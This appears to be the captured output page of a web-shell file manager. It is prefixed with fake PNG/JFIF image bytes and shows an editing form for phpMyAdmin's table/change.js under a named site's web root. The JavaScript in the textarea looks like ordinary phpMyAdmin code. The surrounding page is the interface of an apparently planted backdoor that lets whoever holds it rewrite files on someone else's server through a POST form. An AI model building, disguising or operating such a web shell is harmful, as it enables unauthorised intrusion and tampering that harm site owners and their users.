�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2F'>dist</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2Ftable%2F'>table</a>/</p><hr><h3>✏️ Editing: change.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&quot;use strict&quot;;

/**
 * @fileoverview    function used in table data manipulation pages
 *
 * @requires    jQuery
 * @requires    jQueryUI
 * @requires    js/functions.js
 *
 */

/* global extendingValidatorMessages */
// templates/javascript/variables.twig

/* global openGISEditor, gisEditorLoaded, loadJSAndGISEditor, loadGISEditor */
// js/gis_data_editor.js

/**
 * Modify form controls when the &quot;NULL&quot; checkbox is checked
 *
 * @param theType     string   the MySQL field type
 * @param urlField    string   the urlencoded field name - OBSOLETE
 * @param md5Field    string   the md5 hashed field name
 * @param multiEdit  string   the multi_edit row sequence number
 *
 * @return boolean  always true
 */
function nullify(theType, urlField, md5Field, multiEdit) {
  var rowForm = document.forms.insertForm;

  if (typeof rowForm.elements[&#039;funcs&#039; + multiEdit + &#039;[&#039; + md5Field + &#039;]&#039;] !== &#039;undefined&#039;) {
    rowForm.elements[&#039;funcs&#039; + multiEdit + &#039;[&#039; + md5Field + &#039;]&#039;].selectedIndex = -1;
  } // &quot;ENUM&quot; field with more than 20 characters


  if (Number(theType) === 1) {
    rowForm.elements[&#039;fields&#039; + multiEdit + &#039;[&#039; + md5Field + &#039;]&#039;][1].selectedIndex = -1; // Other &quot;ENUM&quot; field
  } else if (Number(theType) === 2) {
    var elts = rowForm.elements[&#039;fields&#039; + multiEdit + &#039;[&#039; + md5Field + &#039;]&#039;]; // when there is just one option in ENUM:

    if (elts.checked) {
      elts.checked = false;
    } else {
      var eltsCnt = elts.length;

      for (var i = 0; i &lt; eltsCnt; i++) {
        elts[i].checked = false;
      } // end for

    } // end if
    // &quot;SET&quot; field

  } else if (Number(theType) === 3) {
    rowForm.elements[&#039;fields&#039; + multiEdit + &#039;[&#039; + md5Field + &#039;][]&#039;].selectedIndex = -1; // Foreign key field (drop-down)
  } else if (Number(theType) === 4) {
    rowForm.elements[&#039;fields&#039; + multiEdit + &#039;[&#039; + md5Field + &#039;]&#039;].selectedIndex = -1; // foreign key field (with browsing icon for foreign values)
  } else if (Number(theType) === 6) {
    rowForm.elements[&#039;fields&#039; + multiEdit + &#039;[&#039; + md5Field + &#039;]&#039;].value = &#039;&#039;; // Other field types
  } else
    /* if (theType === 5)*/
    {
      rowForm.elements[&#039;fields&#039; + multiEdit + &#039;[&#039; + md5Field + &#039;]&#039;].value = &#039;&#039;;
    } // end if... else if... else


  return true;
} // end of the &#039;nullify()&#039; function

/**
 * javascript DateTime format validation.
 * its used to prevent adding default (0000-00-00 00:00:00) to database when user enter wrong values
 * Start of validation part
 */
// function checks the number of days in febuary


function daysInFebruary(year) {
  return year % 4 === 0 &amp;&amp; (year % 100 !== 0 || year % 400 === 0) ? 29 : 28;
} // function to convert single digit to double digit


function fractionReplace(number) {
  var num = parseInt(number, 10);
  return num &gt;= 1 &amp;&amp; num &lt;= 9 ? &#039;0&#039; + num : &#039;00&#039;;
}
/* function to check the validity of date
* The following patterns are accepted in this validation (accepted in mysql as well)
* 1) 2001-12-23
* 2) 2001-1-2
* 3) 02-12-23
* 4) And instead of using &#039;-&#039; the following punctuations can be used (+,.,*,^,@,/) All these are accepted by mysql as well. Therefore no issues
*/


function isDate(val, tmstmp) {
  var value = val.replace(/[.|*|^|+|//|@]/g, &#039;-&#039;);
  var arrayVal = value.split(&#039;-&#039;);

  for (var a = 0; a &lt; arrayVal.length; a++) {
    if (arrayVal[a].length === 1) {
      arrayVal[a] = fractionReplace(arrayVal[a]);
    }
  }

  value = arrayVal.join(&#039;-&#039;);
  var pos = 2;
  var dtexp = new RegExp(/^([0-9]{4})-(((01|03|05|07|08|10|12)-((0[0-9])|([1-2][0-9])|(3[0-1])))|((02|04|06|09|11)-((0[0-9])|([1-2][0-9])|30))|((00)-(00)))$/);

  if (value.length === 8) {
    pos = 0;
  }

  if (dtexp.test(value)) {
    var month = parseInt(value.substring(pos + 3, pos + 5), 10);
    var day = parseInt(value.substring(pos + 6, pos + 8), 10);
    var year = parseInt(value.substring(0, pos + 2), 10);

    if (month === 2 &amp;&amp; day &gt; daysInFebruary(year)) {
      return false;
    }

    if (value.substring(0, pos + 2).length === 2) {
      year = parseInt(&#039;20&#039; + value.substring(0, pos + 2), 10);
    }

    if (tmstmp === true) {
      if (year &lt; 1978) {
        return false;
      }

      if (year &gt; 2038 || year &gt; 2037 &amp;&amp; day &gt; 19 &amp;&amp; month &gt;= 1 || year &gt; 2037 &amp;&amp; month &gt; 1) {
        return false;
      }
    }
  } else {
    return false;
  }

  return true;
}
/* function to check the validity of time
* The following patterns are accepted in this validation (accepted in mysql as well)
* 1) 2:3:4
* 2) 2:23:43
* 3) 2:23:43.123456
*/


function isTime(val) {
  var arrayVal = val.split(&#039;:&#039;);

  for (var a = 0, l = arrayVal.length; a &lt; l; a++) {
    if (arrayVal[a].length === 1) {
      arrayVal[a] = fractionReplace(arrayVal[a]);
    }
  }

  var newVal = arrayVal.join(&#039;:&#039;);
  var tmexp = new RegExp(/^(-)?(([0-7]?[0-9][0-9])|(8[0-2][0-9])|(83[0-8])):((0[0-9])|([1-5][0-9])):((0[0-9])|([1-5][0-9]))(\.[0-9]{1,6}){0,1}$/);
  return tmexp.test(newVal);
}
/**
 * To check whether insert section is ignored or not
 */


function checkForCheckbox(multiEdit) {
  if ($(&#039;#insert_ignore_&#039; + multiEdit).length) {
    return $(&#039;#insert_ignore_&#039; + multiEdit).is(&#039;:unchecked&#039;);
  }

  return true;
} // used in Search page mostly for INT fields
// eslint-disable-next-line no-unused-vars


function verifyAfterSearchFieldChange(index, searchFormId) {
  var $thisInput = $(&#039;input[name=\&#039;criteriaValues[&#039; + index + &#039;]\&#039;]&#039;); // Add  data-skip-validators attribute to skip validation in changeValueFieldType function

  if ($(&#039;#fieldID_&#039; + index).data(&#039;data-skip-validators&#039;)) {
    $(searchFormId).validate().destroy();
    return;
  } // validation for integer type


  if ($thisInput.data(&#039;type&#039;) === &#039;INT&#039; || $thisInput.data(&#039;type&#039;) === &#039;TINYINT&#039;) {
    // Trim spaces if it&#039;s an integer
    $thisInput.val($thisInput.val().trim());
    var hasMultiple = $thisInput.prop(&#039;multiple&#039;);

    if (hasMultiple) {
      $(searchFormId).validate({
        // update errors as we write
        onkeyup: function onkeyup(element) {
          $(element).valid();
        }
      }); // validator method for IN(...), NOT IN(...)
      // BETWEEN and NOT BETWEEN

      jQuery.validator.addMethod(&#039;validationFunctionForMultipleInt&#039;, function (value) {
        return value.match(/^(?:(?:\d\s*)|\s*)+(?:,\s*\d+)*$/i) !== null;
      }, Messages.strEnterValidNumber);
      validateMultipleIntField($thisInput, true);
    } else {
      $(searchFormId).validate({
        // update errors as we write
        onkeyup: function onkeyup(element) {
          $(element).valid();
        }
      });
      validateIntField($thisInput, true);
    } // Update error on dropdown change


    $thisInput.valid();
  }
}
/**
 * Validate the an input contains multiple int values
 * @param {jQuery} jqueryInput the Jquery object
 * @param {boolean} returnValueIfFine the value to return if the validator passes
 * @returns {void}
 */


function validateMultipleIntField(jqueryInput, returnValueIfFine) {
  // removing previous rules
  jqueryInput.rules(&#039;remove&#039;);
  jqueryInput.rules(&#039;add&#039;, {
    validationFunctionForMultipleInt: {
      param: jqueryInput.value,
      depends: function depends() {
        return returnValueIfFine;
      }
    }
  });
}
/**
 * Validate the an input contains an int value
 * @param {jQuery} jqueryInput the Jquery object
 * @param {boolean} returnValueIfIsNumber the value to return if the validator passes
 * @returns {void}
 */


function validateIntField(jqueryInput, returnValueIfIsNumber) {
  var mini = parseInt(jqueryInput.data(&#039;min&#039;));
  var maxi = parseInt(jqueryInput.data(&#039;max&#039;)); // removing previous rules

  jqueryInput.rules(&#039;remove&#039;);
  jqueryInput.rules(&#039;add&#039;, {
    number: {
      param: true,
      depends: function depends() {
        return returnValueIfIsNumber;
      }
    },
    min: {
      param: mini,
      depends: function depends() {
        if (isNaN(jqueryInput.val())) {
          return false;
        } else {
          return returnValueIfIsNumber;
        }
      }
    },
    max: {
      param: maxi,
      depends: function depends() {
        if (isNaN(jqueryInput.val())) {
          return false;
        } else {
          return returnValueIfIsNumber;
        }
      }
    }
  });
}

function verificationsAfterFieldChange(urlField, multiEdit, theType) {
  var evt = window.event || arguments.callee.caller.arguments[0];
  var target = evt.target || evt.srcElement;
  var $thisInput = $(&#039;:input[name^=\&#039;fields[multi_edit][&#039; + multiEdit + &#039;][&#039; + urlField + &#039;]\&#039;]&#039;); // the function drop-down that corresponds to this input field

  var $thisFunction = $(&#039;select[name=\&#039;funcs[multi_edit][&#039; + multiEdit + &#039;][&#039; + urlField + &#039;]\&#039;]&#039;);
  var functionSelected = false;

  if (typeof $thisFunction.val() !== &#039;undefined&#039; &amp;&amp; $thisFunction.val() !== null &amp;&amp; $thisFunction.val().length &gt; 0) {
    functionSelected = true;
  } // To generate the textbox that can take the salt


  var newSaltBox = &#039;&lt;br&gt;&lt;input type=text name=salt[multi_edit][&#039; + multiEdit + &#039;][&#039; + urlField + &#039;]&#039; + &#039; id=salt_&#039; + target.id + &#039; placeholder=\&#039;&#039; + Messages.strEncryptionKey + &#039;\&#039;&gt;&#039;; // If encrypting or decrypting functions that take salt as input is selected append the new textbox for salt

  if (target.value === &#039;AES_ENCRYPT&#039; || target.value === &#039;AES_DECRYPT&#039; || target.value === &#039;DES_ENCRYPT&#039; || target.value === &#039;DES_DECRYPT&#039; || target.value === &#039;ENCRYPT&#039;) {
    if (!$(&#039;#salt_&#039; + target.id).length) {
      $thisInput.after(newSaltBox);
    }
  } else {
    // Remove the textbox for salt
    $(&#039;#salt_&#039; + target.id).prev(&#039;br&#039;).remove();
    $(&#039;#salt_&#039; + target.id).remove();
  } // Remove possible blocking rules if the user changed functions


  $(&#039;#&#039; + target.id).rules(&#039;remove&#039;, &#039;validationFunctionForMd5&#039;);
  $(&#039;#&#039; + target.id).rules(&#039;remove&#039;, &#039;validationFunctionForAesDesEncrypt&#039;);

  if (target.value === &#039;MD5&#039;) {
    $(&#039;#&#039; + target.id).rules(&#039;add&#039;, {
      validationFunctionForMd5: {
        param: $thisInput,
        depends: function depends() {
          return checkForCheckbox(multiEdit);
        }
      }
    });
  }

  if (target.value === &#039;DES_ENCRYPT&#039; || target.value === &#039;AES_ENCRYPT&#039;) {
    $(&#039;#&#039; + target.id).rules(&#039;add&#039;, {
      validationFunctionForAesDesEncrypt: {
        param: $thisInput,
        depends: function depends() {
          return checkForCheckbox(multiEdit);
        }
      }
    });
  }

  if (target.value === &#039;HEX&#039; &amp;&amp; theType.substring(0, 3) === &#039;int&#039;) {
    // Add note when HEX function is selected on a int
    var newHexInfo = &#039;&lt;br&gt;&lt;p id=&quot;note&#039; + target.id + &#039;&quot;&gt;&#039; + Messages.HexConversionInfo + &#039;&lt;/p&gt;&#039;;

    if (!$(&#039;#note&#039; + target.id).length) {
      $thisInput.after(newHexInfo);
    }
  } else {
    $(&#039;#note&#039; + target.id).prev(&#039;br&#039;).remove();
    $(&#039;#note&#039; + target.id).remove();
  } // Unchecks the corresponding &quot;NULL&quot; control


  $(&#039;input[name=\&#039;fields_null[multi_edit][&#039; + multiEdit + &#039;][&#039; + urlField + &#039;]\&#039;]&#039;).prop(&#039;checked&#039;, false); // Unchecks the Ignore checkbox for the current row

  $(&#039;input[name=\&#039;insert_ignore_&#039; + multiEdit + &#039;\&#039;]&#039;).prop(&#039;checked&#039;, false);
  var charExceptionHandling;

  if (theType.substring(0, 4) === &#039;char&#039;) {
    charExceptionHandling = theType.substring(5, 6);
  } else if (theType.substring(0, 7) === &#039;varchar&#039;) {
    charExceptionHandling = theType.substring(8, 9);
  }

  if (functionSelected) {
    $thisInput.removeAttr(&#039;min&#039;);
    $thisInput.removeAttr(&#039;max&#039;); // @todo: put back attributes if corresponding function is deselected
  }

  if ($thisInput.data(&#039;rulesadded&#039;) === null &amp;&amp; !functionSelected) {
    // call validate before adding rules
    $($thisInput[0].form).validate(); // validate for date time

    if (theType === &#039;datetime&#039; || theType === &#039;time&#039; || theType === &#039;date&#039; || theType === &#039;timestamp&#039;) {
      $thisInput.rules(&#039;add&#039;, {
        validationFunctionForDateTime: {
          param: theType,
          depends: function depends() {
            return checkForCheckbox(multiEdit);
          }
        }
      });
    } // validation for integer type


    if ($thisInput.data(&#039;type&#039;) === &#039;INT&#039;) {
      validateIntField($thisInput, checkForCheckbox(multiEdit)); // validation for CHAR types
    } else if ($thisInput.data(&#039;type&#039;) === &#039;CHAR&#039;) {
      var maxlen = $thisInput.data(&#039;maxlength&#039;);

      if (typeof maxlen !== &#039;undefined&#039;) {
        if (maxlen &lt;= 4) {
          maxlen = charExceptionHandling;
        }

        $thisInput.rules(&#039;add&#039;, {
          maxlength: {
            param: maxlen,
            depends: function depends() {
              return checkForCheckbox(multiEdit);
            }
          }
        });
      } // validate binary &amp; blob types

    } else if ($thisInput.data(&#039;type&#039;) === &#039;HEX&#039;) {
      $thisInput.rules(&#039;add&#039;, {
        validationFunctionForHex: {
          param: true,
          depends: function depends() {
            return checkForCheckbox(multiEdit);
          }
        }
      });
    }

    $thisInput.data(&#039;rulesadded&#039;, true);
  } else if ($thisInput.data(&#039;rulesadded&#039;) === true &amp;&amp; functionSelected) {
    // remove any rules added
    $thisInput.rules(&#039;remove&#039;); // remove any error messages

    $thisInput.removeClass(&#039;error&#039;).removeAttr(&#039;aria-invalid&#039;).siblings(&#039;.error&#039;).remove();
    $thisInput.data(&#039;rulesadded&#039;, null);
  }
}
/* End of fields validation*/

/**
 * Unbind all event handlers before tearing down a page
 */


AJAX.registerTeardown(&#039;table/change.js&#039;, function () {
  $(document).off(&#039;click&#039;, &#039;span.open_gis_editor&#039;);
  $(document).off(&#039;click&#039;, &#039;input[name^=\&#039;insert_ignore_\&#039;]&#039;);
  $(document).off(&#039;click&#039;, &#039;input[name=\&#039;gis_data[save]\&#039;]&#039;);
  $(document).off(&#039;click&#039;, &#039;input.checkbox_null&#039;);
  $(&#039;select[name=&quot;submit_type&quot;]&#039;).off(&#039;change&#039;);
  $(document).off(&#039;change&#039;, &#039;#insert_rows&#039;);
});
/**
 * Ajax handlers for Change Table page
 *
 * Actions Ajaxified here:
 * Submit Data to be inserted into the table.
 * Restart insertion with &#039;N&#039; rows.
 */

AJAX.registerOnload(&#039;table/change.js&#039;, function () {
  if ($(&#039;#insertForm&#039;).length) {
    // validate the comment form when it is submitted
    $(&#039;#insertForm&#039;).validate();
    jQuery.validator.addMethod(&#039;validationFunctionForHex&#039;, function (value) {
      return value.match(/^[a-f0-9]*$/i) !== null;
    });
    jQuery.validator.addMethod(&#039;validationFunctionForMd5&#039;, function (value, element, options) {
      return !(value.substring(0, 3) === &#039;MD5&#039; &amp;&amp; typeof options.data(&#039;maxlength&#039;) !== &#039;undefined&#039; &amp;&amp; options.data(&#039;maxlength&#039;) &lt; 32);
    });
    jQuery.validator.addMethod(&#039;validationFunctionForAesDesEncrypt&#039;, function (value, element, options) {
      var funType = value.substring(0, 3);

      if (funType !== &#039;AES&#039; &amp;&amp; funType !== &#039;DES&#039;) {
        return false;
      }

      var dataType = options.data(&#039;type&#039;);

      if (dataType === &#039;HEX&#039; || dataType === &#039;CHAR&#039;) {
        return true;
      }

      return false;
    });
    jQuery.validator.addMethod(&#039;validationFunctionForDateTime&#039;, function (value, element, options) {
      var dtValue = value;
      var theType = options;

      if (theType === &#039;date&#039;) {
        return isDate(dtValue);
      } else if (theType === &#039;time&#039;) {
        return isTime(dtValue);
      } else if (theType === &#039;datetime&#039; || theType === &#039;timestamp&#039;) {
        var tmstmp = false;
        dtValue = dtValue.trim();

        if (dtValue === &#039;CURRENT_TIMESTAMP&#039; || dtValue === &#039;current_timestamp()&#039;) {
          return true;
        }

        if (theType === &#039;timestamp&#039;) {
          tmstmp = true;
        }

        if (dtValue === &#039;0000-00-00 00:00:00&#039;) {
          return true;
        }

        var dv = dtValue.indexOf(&#039; &#039;);

        if (dv === -1) {
          // Only the date component, which is valid
          return isDate(dtValue, tmstmp);
        }

        return isDate(dtValue.substring(0, dv), tmstmp) &amp;&amp; isTime(dtValue.substring(dv + 1));
      }
    });
  }
  /*
   * message extending script must be run
   * after initiation of functions
   */


  extendingValidatorMessages();
  $.datepicker.initialized = false;
  $(document).on(&#039;click&#039;, &#039;span.open_gis_editor&#039;, function (event) {
    event.preventDefault();
    var $span = $(this); // Current value

    var value = $span.parent(&#039;td&#039;).children(&#039;input[type=\&#039;text\&#039;]&#039;).val(); // Field name

    var field = $span.parents(&#039;tr&#039;).children(&#039;td&#039;).first().find(&#039;input[type=\&#039;hidden\&#039;]&#039;).val(); // Column type

    var type = $span.parents(&#039;tr&#039;).find(&#039;span.column_type&#039;).text(); // Names of input field and null checkbox

    var inputName = $span.parent(&#039;td&#039;).children(&#039;input[type=\&#039;text\&#039;]&#039;).attr(&#039;name&#039;);
    openGISEditor();

    if (!gisEditorLoaded) {
      loadJSAndGISEditor(value, field, type, inputName);
    } else {
      loadGISEditor(value, field, type, inputName);
    }
  });
  /**
   * Forced validation check of fields
   */

  $(document).on(&#039;click&#039;, &#039;input[name^=\&#039;insert_ignore_\&#039;]&#039;, function () {
    $(&#039;#insertForm&#039;).valid();
  });
  /**
   * Uncheck the null checkbox as geometry data is placed on the input field
   */

  $(document).on(&#039;click&#039;, &#039;input[name=\&#039;gis_data[save]\&#039;]&#039;, function () {
    var inputName = $(&#039;form#gis_data_editor_form&#039;).find(&#039;input[name=\&#039;input_name\&#039;]&#039;).val();
    var $nullCheckbox = $(&#039;input[name=\&#039;&#039; + inputName + &#039;\&#039;]&#039;).parents(&#039;tr&#039;).find(&#039;.checkbox_null&#039;);
    $nullCheckbox.prop(&#039;checked&#039;, false);
  });
  /**
   * Handles all current checkboxes for Null; this only takes care of the
   * checkboxes on currently displayed rows as the rows generated by
   * &quot;Continue insertion&quot; are handled in the &quot;Continue insertion&quot; code
   *
   */

  $(document).on(&#039;click&#039;, &#039;input.checkbox_null&#039;, function () {
    nullify( // use hidden fields populated by /table/change
    $(this).siblings(&#039;.nullify_code&#039;).val(), $(this).closest(&#039;tr&#039;).find(&#039;input:hidden&#039;).first().val(), $(this).siblings(&#039;.hashed_field&#039;).val(), $(this).siblings(&#039;.multi_edit&#039;).val());
  });
  /**
   * Reset the auto_increment column to 0 when selecting any of the
   * insert options in submit_type-dropdown. Only perform the reset
   * when we are in edit-mode, and not in insert-mode(no previous value
   * available).
   */

  $(&#039;select[name=&quot;submit_type&quot;]&#039;).on(&#039;change&#039;, function () {
    var thisElemSubmitTypeVal = $(this).val();
    var $table = $(&#039;table.insertRowTable&#039;);
    var autoIncrementColumn = $table.find(&#039;input[name^=&quot;auto_increment&quot;]&#039;);
    autoIncrementColumn.each(function () {
      var $thisElemAIField = $(this);
      var thisElemName = $thisElemAIField.attr(&#039;name&#039;);
      var prevValueField = $table.find(&#039;input[name=&quot;&#039; + thisElemName.replace(&#039;auto_increment&#039;, &#039;fields_prev&#039;) + &#039;&quot;]&#039;);
      var valueField = $table.find(&#039;input[name=&quot;&#039; + thisElemName.replace(&#039;auto_increment&#039;, &#039;fields&#039;) + &#039;&quot;]&#039;);
      var previousValue = $(prevValueField).val();

      if (previousValue !== undefined) {
        if (thisElemSubmitTypeVal === &#039;insert&#039; || thisElemSubmitTypeVal === &#039;insertignore&#039; || thisElemSubmitTypeVal === &#039;showinsert&#039;) {
          $(valueField).val(null);
        } else {
          $(valueField).val(previousValue);
        }
      }
    });
  });
  /**
   * Handle ENTER key when press on Continue insert with field
   */

  $(&#039;#insert_rows&#039;).on(&#039;keypress&#039;, function (e) {
    var key = e.which;

    if (key === 13) {
      addNewContinueInsertionFields(e);
    }
  });
  /**
   * Continue Insertion form
   */

  $(document).on(&#039;change&#039;, &#039;#insert_rows&#039;, addNewContinueInsertionFields);
});

function addNewContinueInsertionFields(event) {
  event.preventDefault();
  /**
   * @var columnCount   Number of number of columns table has.
   */

  var columnCount = $(&#039;table.insertRowTable&#039;).first().find(&#039;tr&#039;).has(&#039;input[name*=\&#039;fields_name\&#039;]&#039;).length;
  /**
   * @var curr_rows   Number of current insert rows already on page
   */

  var currRows = $(&#039;table.insertRowTable&#039;).length;
  /**
   * @var target_rows Number of rows the user wants
   */

  var targetRows = $(&#039;#insert_rows&#039;).val(); // remove all datepickers

  $(&#039;input.datefield, input.datetimefield&#039;).each(function () {
    $(this).datepicker(&#039;destroy&#039;);
  });

  if (currRows &lt; targetRows) {
    var tempIncrementIndex = function tempIncrementIndex() {
      var $thisElement = $(this);
      /**
       * Extract the index from the name attribute for all input/select fields and increment it
       * name is of format funcs[multi_edit][10][&lt;long random string of alphanum chars&gt;]
       */

      /**
       * @var this_name   String containing name of the input/select elements
       */

      var thisName = $thisElement.attr(&#039;name&#039;);
      /** split {@link thisName} at [10], so we have the parts that can be concatenated later */

      var nameParts = thisName.split(/\[\d+\]/);
      /** extract the [10] from  {@link nameParts} */

      var oldRowIndexString = thisName.match(/\[\d+\]/)[0];
      /** extract 10 - had to split into two steps to accomodate double digits */

      var oldRowIndex = parseInt(oldRowIndexString.match(/\d+/)[0], 10);
      /** calculate next index i.e. 11 */

      newRowIndex = oldRowIndex + 1;
      /** generate the new name i.e. funcs[multi_edit][11][foobarbaz] */

      var newName = nameParts[0] + &#039;[&#039; + newRowIndex + &#039;]&#039; + nameParts[1];
      var hashedField = nameParts[1].match(/\[(.+)\]/)[1];
      $thisElement.attr(&#039;name&#039;, newName);
      /** If element is select[name*=&#039;funcs&#039;], update id */

      if ($thisElement.is(&#039;select[name*=\&#039;funcs\&#039;]&#039;)) {
        var thisId = $thisElement.attr(&#039;id&#039;);
        var idParts = thisId.split(/_/);
        var oldIdIndex = idParts[1];
        var prevSelectedValue = $(&#039;#field_&#039; + oldIdIndex + &#039;_1&#039;).val();
        var newIdIndex = parseInt(oldIdIndex) + columnCount;
        var newId = &#039;field_&#039; + newIdIndex + &#039;_1&#039;;
        $thisElement.attr(&#039;id&#039;, newId);
        $thisElement.find(&#039;option&#039;).filter(function () {
          return $(this).text() === prevSelectedValue;
        }).attr(&#039;selected&#039;, &#039;selected&#039;); // If salt field is there then update its id.

        var nextSaltInput = $thisElement.parent().next(&#039;td&#039;).next(&#039;td&#039;).find(&#039;input[name*=\&#039;salt\&#039;]&#039;);

        if (nextSaltInput.length !== 0) {
          nextSaltInput.attr(&#039;id&#039;, &#039;salt_&#039; + newId);
        }
      } // handle input text fields and textareas


      if ($thisElement.is(&#039;.textfield&#039;) || $thisElement.is(&#039;.char&#039;) || $thisElement.is(&#039;textarea&#039;)) {
        // do not remove the &#039;value&#039; attribute for ENUM columns
        // special handling for radio fields after updating ids to unique - see below
        if ($thisElement.closest(&#039;tr&#039;).find(&#039;span.column_type&#039;).html() !== &#039;enum&#039;) {
          $thisElement.val($thisElement.closest(&#039;tr&#039;).find(&#039;span.default_value&#039;).html());
        }

        $thisElement.off(&#039;change&#039;) // Remove onchange attribute that was placed
        // by /table/change; it refers to the wrong row index
        .attr(&#039;onchange&#039;, null) // Keep these values to be used when the element
        // will change
        .data(&#039;hashed_field&#039;, hashedField).data(&#039;new_row_index&#039;, newRowIndex).on(&#039;change&#039;, function () {
          var $changedElement = $(this);
          verificationsAfterFieldChange($changedElement.data(&#039;hashed_field&#039;), $changedElement.data(&#039;new_row_index&#039;), $changedElement.closest(&#039;tr&#039;).find(&#039;span.column_type&#039;).html());
        });
      }

      if ($thisElement.is(&#039;.checkbox_null&#039;)) {
        $thisElement // this event was bound earlier by jQuery but
        // to the original row, not the cloned one, so unbind()
        .off(&#039;click&#039;) // Keep these values to be used when the element
        // will be clicked
        .data(&#039;hashed_field&#039;, hashedField).data(&#039;new_row_index&#039;, newRowIndex).on(&#039;click&#039;, function () {
          var $changedElement = $(this);
          nullify($changedElement.siblings(&#039;.nullify_code&#039;).val(), $thisElement.closest(&#039;tr&#039;).find(&#039;input:hidden&#039;).first().val(), $changedElement.data(&#039;hashed_field&#039;), &#039;[multi_edit][&#039; + $changedElement.data(&#039;new_row_index&#039;) + &#039;]&#039;);
        });
      }
    };

    var tempReplaceAnchor = function tempReplaceAnchor() {
      var $anchor = $(this);
      var newValue = &#039;rownumber=&#039; + newRowIndex; // needs improvement in case something else inside
      // the href contains this pattern

      var newHref = $anchor.attr(&#039;href&#039;).replace(/rownumber=\d+/, newValue);
      $anchor.attr(&#039;href&#039;, newHref);
    };

    var restoreValue = function restoreValue() {
      if ($(this).closest(&#039;tr&#039;).find(&#039;span.column_type&#039;).html() === &#039;enum&#039;) {
        if ($(this).val() === $checkedValue) {
          $(this).prop(&#039;checked&#039;, true);
        } else {
          $(this).prop(&#039;checked&#039;, false);
        }
      }
    };

    while (currRows &lt; targetRows) {
      /**
       * @var $last_row    Object referring to the last row
       */
      var $lastRow = $(&#039;#insertForm&#039;).find(&#039;.insertRowTable&#039;).last(); // need to access this at more than one level
      // (also needs improvement because it should be calculated
      //  just once per cloned row, not once per column)

      var newRowIndex = 0;
      var $checkedValue = $lastRow.find(&#039;input:checked&#039;).val(); // Clone the insert tables

      $lastRow.clone(true, true).insertBefore(&#039;#actions_panel&#039;).find(&#039;input[name*=multi_edit],select[name*=multi_edit],textarea[name*=multi_edit]&#039;).each(tempIncrementIndex).end().find(&#039;.foreign_values_anchor&#039;).each(tempReplaceAnchor);
      var $oldRow = $lastRow.find(&#039;.textfield&#039;);
      $oldRow.each(restoreValue); // set the value of enum field of new row to default

      var $newRow = $(&#039;#insertForm&#039;).find(&#039;.insertRowTable&#039;).last();
      $newRow.find(&#039;.textfield&#039;).each(function () {
        if ($(this).closest(&#039;tr&#039;).find(&#039;span.column_type&#039;).html() === &#039;enum&#039;) {
          if ($(this).val() === $(this).closest(&#039;tr&#039;).find(&#039;span.default_value&#039;).html()) {
            $(this).prop(&#039;checked&#039;, true);
          } else {
            $(this).prop(&#039;checked&#039;, false);
          }
        }
      }); // Insert/Clone the ignore checkboxes

      if (currRows === 1) {
        $(&#039;&lt;input id=&quot;insert_ignore_1&quot; type=&quot;checkbox&quot; name=&quot;insert_ignore_1&quot; checked=&quot;checked&quot;&gt;&#039;).insertBefore($(&#039;table.insertRowTable&#039;).last()).after(&#039;&lt;label for=&quot;insert_ignore_1&quot;&gt;&#039; + Messages.strIgnore + &#039;&lt;/label&gt;&#039;);
      } else {
        /**
         * @var $last_checkbox   Object reference to the last checkbox in #insertForm
         */
        var $lastCheckbox = $(&#039;#insertForm&#039;).children(&#039;input:checkbox&#039;).last();
        /** name of {@link $lastCheckbox} */

        var lastCheckboxName = $lastCheckbox.attr(&#039;name&#039;);
        /** index of {@link $lastCheckbox} */

        var lastCheckboxIndex = parseInt(lastCheckboxName.match(/\d+/), 10);
        /** name of new {@link $lastCheckbox} */

        var newName = lastCheckboxName.replace(/\d+/, lastCheckboxIndex + 1);
        $(&#039;&lt;br&gt;&lt;div class=&quot;clearfloat&quot;&gt;&lt;/div&gt;&#039;).insertBefore($(&#039;table.insertRowTable&#039;).last());
        $lastCheckbox.clone().attr({
          &#039;id&#039;: newName,
          &#039;name&#039;: newName
        }).prop(&#039;checked&#039;, true).insertBefore($(&#039;table.insertRowTable&#039;).last());
        $(&#039;label[for^=insert_ignore]&#039;).last().clone().attr(&#039;for&#039;, newName).insertBefore($(&#039;table.insertRowTable&#039;).last());
        $(&#039;&lt;br&gt;&#039;).insertBefore($(&#039;table.insertRowTable&#039;).last());
      }

      currRows++;
    } // recompute tabindex for text fields and other controls at footer;
    // IMO it&#039;s not really important to handle the tabindex for
    // function and Null


    var tabIndex = 0;
    $(&#039;.textfield, .char, textarea&#039;).each(function () {
      tabIndex++;
      $(this).attr(&#039;tabindex&#039;, tabIndex); // update the IDs of textfields to ensure that they are unique

      $(this).attr(&#039;id&#039;, &#039;field_&#039; + tabIndex + &#039;_3&#039;);
    });
    $(&#039;.control_at_footer&#039;).each(function () {
      tabIndex++;
      $(this).attr(&#039;tabindex&#039;, tabIndex);
    });
  } else if (currRows &gt; targetRows) {
    /**
     * Displays alert if data loss possible on decrease
     * of rows.
     */
    var checkLock = jQuery.isEmptyObject(AJAX.lockedTargets);

    if (checkLock || confirm(Messages.strConfirmRowChange) === true) {
      while (currRows &gt; targetRows) {
        $(&#039;input[id^=insert_ignore]&#039;).last().nextUntil(&#039;fieldset&#039;).addBack().remove();
        currRows--;
      }
    } else {
      document.getElementById(&#039;insert_rows&#039;).value = currRows;
    }
  } // Add all the required datepickers back


  Functions.addDateTimePicker();
} // eslint-disable-next-line no-unused-vars


